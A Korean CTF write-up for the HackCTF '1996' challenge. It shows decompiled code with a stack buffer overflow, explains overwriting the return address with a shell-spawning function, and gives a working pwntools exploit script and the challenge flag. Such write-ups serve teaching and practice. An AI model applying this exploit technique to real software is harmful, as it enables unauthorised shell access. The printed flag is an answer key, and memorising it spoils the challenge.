-
1996CTF/HackCTF 2021. 2. 1. 01:48
Disassembly 디스어셈블리
undefined8 main(void) { undefined8 uVar1; undefined8 uVar2; char *name; std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*) (reloc.std::cout, "Which environment variable do you want to read? "); std::basic_istream<char, std::char_traits<char> >& std::operator>><char, std::char_traits<char> >(std::basic_istream<char, std::char_traits<char> >&, char*) (reloc.std::cin, &name); uVar1 = std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*) (reloc.std::cout, &name); uVar1 = std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*) (uVar1, 0x400a99); uVar2 = getenv(&name); uVar1 = std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*) (uVar1, uVar2); std::ostream::operator<<(std::ostream& (*)(std::ostream&)) (uVar1, _reloc.std::basic_ostream<char, std::char_traits<char> >& std::endl<char, std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&) , uVar1); return 0; }
main은 name에 입력을 받고 해당하는 환경 변수를 찾아 출력한다.
void spawn_shell()(void) { char *var_10h; int64_t var_8h; // spawn_shell() var_10h = "/bin/bash"; var_8h = 0; execve("/bin/bash", &var_10h, 0); return; }
spawn_shell은 쉘을 취득하는 함수이다.
RET Overwrite
name에 입력받는 부분에서 스택 버퍼 오버플로우가 발생하므로 return address를 spawn_shell로 덮어쓰면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./1996" server = "ctf.j0n9hyun.xyz" port = 3013 # context.log_level = 'debug' context.binary = binary p = remote(server, port) e = ELF(binary) # spawn_shell = 0x400897 payload = b"A"*0x418 payload += p64(spawn_shell) p.sendline(payload) p.interactive()
Flag
HackCTF{b29a2800780d85cfc346}